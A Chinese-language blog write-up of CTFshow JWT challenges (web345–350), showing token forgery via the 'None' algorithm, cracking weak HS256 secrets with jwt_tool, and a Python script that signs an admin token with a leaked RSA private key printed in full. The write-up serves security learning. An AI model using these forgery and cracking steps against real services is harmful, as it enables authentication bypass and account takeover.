CTFshow——jwt专题

CTFshow——jwt专题

前言:

无意间看到baozongwi师傅在博客里写道自己当时学习CTF的时候只要没有比赛就去刷刷ctfshow。这有狠狠的激励到我,我也想变得像他一样厉害,于是我也在打算在这里记录一下自己的刷题过程,看看自己能不能有所成长。

2025.8.19

JWT

参考:CTFshow-web入门-JWT_哔哩哔哩_bilibili

JWT组成

JWT由3部分组成:标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串。

web345(空加密算法)

F12一下发现提示:

1
2
where is flag?
<!-- /admin -->

查看它的Cookie:

1
auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NTU2MTM1MTksImV4cCI6MTc1NTYyMDcxOSwibmJmIjoxNzU1NjEzNTE5LCJzdWIiOiJ1c2VyIiwianRpIjoiMTgxMGI2ZDI4MmY1OWVjMmZlOWI4MTRhNWM5MGVhM2QifV0

尝试base64解码:

1
{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1755613519,"exp":1755620719,"nbf":1755613519,"sub":"user","jti":"1810b6d282f59ec2fe9b814a5c90ea3d"}]

把其中的user改为admin,再进行base64编码替换原有Cookie。
最后访问/admin/路由(注:这里必须 访问/admin/而不是/admin否则无效,大概解释一下就是加斜杠表示访问的admin这个目录下的index.php或者其他的,不加斜杠则表示访问的是admin文件,而由于不存在这个文件所以会404):
20250819224244

之所以可以直接解密是因为这段是空加密(见"alg":"None"):

签名算法可被修改为none,JWT支持将算法设定为 “None” 。如果 “alg” 字段设为 “None” ,那么签名会被置空,这样任何token都是有效的。

20250819231957

web346(弱密码加密)

后面这几道题目整体做题流程和第一题一致,主要记一下jwt伪造的部分。
Cookie: 1

1
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc1NTYxNDk3MywiZXhwIjoxNzU1NjIyMTczLCJuYmYiOjE3NTU2MTQ5NzMsInN1YiI6InVzZXIiLCJqdGkiOiI5ODA1ZDg4OWRjODdkNjc0ZWVlYTg5NzYxOGVhM2RiNyJ9.ER6cOypA9jmjypFNP5vJELgmP7NyJRJq7ZweXVDbnN0

尝试直接解码,发现这次就不像第一题那样了,大部分都是乱码。
20250819231151

我们用https://www.bejson.com/jwt/在线解码一下:
20250819233133

发现这次是有HS256算法的加密的。
直接弱密码爆出来是123456:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(jwt_tool-2.3.0) E:\myCTFTools\WebTools\jwt_tool-2.3.0>python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc1NTYxOTI2NCwiZXhwIjoxNzU1NjI2NDY0LCJuYmYiOjE3NTU2MTkyNjQsInN1YiI6ImFkbWluIiwianRpIjoiMjJlYTk4OTJkNjRiMzM3MzI1ODdmYzBjYzY2MTk5M2YifQ.QItCPI7MkOAGD1e7YQh-jLwcpr6r1BJRRRIsKJNJtfM -C -d 常用密码.txt

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi

C:\Users\y@7q/.jwt_tool/jwtconf.ini
Original JWT:

[+] 123456 is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "123456"

(jwt_tool-2.3.0) E:\myCTFTools\WebTools\jwt_tool-2.3.0>

web347(弱密码加密2)

一样可以爆破弱密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(jwt_tool-2.3.0) E:\myCTFTools\WebTools\jwt_tool-2.3.0>python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc1NTYyMDUwOCwiZXhwIjoxNzU1NjI3NzA4LCJuYmYiOjE3NTU2MjA1MDgsInN1YiI6InVzZXIiLCJqdGkiOiJlYTNmZGYxNTk3NzMxYzU5M2U5NzNkYTI3NjZmMjJkMiJ9.wVecjdvwUpP5NzhI1sn8I7aCuiILG7eVinIfmxOJUS8 -C -d 常用密码.txt

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi

C:\Users\y@7q/.jwt_tool/jwtconf.ini
Original JWT:

[+] 123456 is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "123456"

(jwt_tool-2.3.0) E:\myCTFTools\WebTools\jwt_tool-2.3.0>

web348(弱密码加密3)

还是爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(jwt_tool-2.3.0) PS E:\myCTFTools\WebTools\jwt_tool-2.3.0> python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc1NTYyMTA2NywiZXhwIjoxNzU1NjI4MjY3LCJuYmYiOjE3NTU2MjEwNjcsInN1YiI6InVzZXIiLCJqdGkiOiI3ZDhmYzJjMTljYjllYThiYjY3NGI5NWM5YjA4Zjg0MiJ9.SeJKsDZXHZrJmaCj9FehMitjVucezYwoL8fZdo8xX8o -C -d 常用密码.txt

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi

C:\Users\y@7q/.jwt_tool/jwtconf.ini
Original JWT:

[+] aaab is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "aaab"

web349(非对称加密算法RS256公钥私钥泄露)

源码暴露了/private.key有私钥泄露:
20250820010311

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----

有了私钥就能得到签名,然后就能任意构造了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# sign_rs256.py
import jwt

private_key = """-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----"""

payload = {
"user": "admin",
"iat": 1755622203
}

token = jwt.encode(payload, private_key, algorithm="RS256")
print(token)

最后向主路由发送POST空请求即可:
20250820110158

web350

这道题目目前没理解为什么可以直接改算法从非对称加密改成对称加密。看以后遇到了再补充。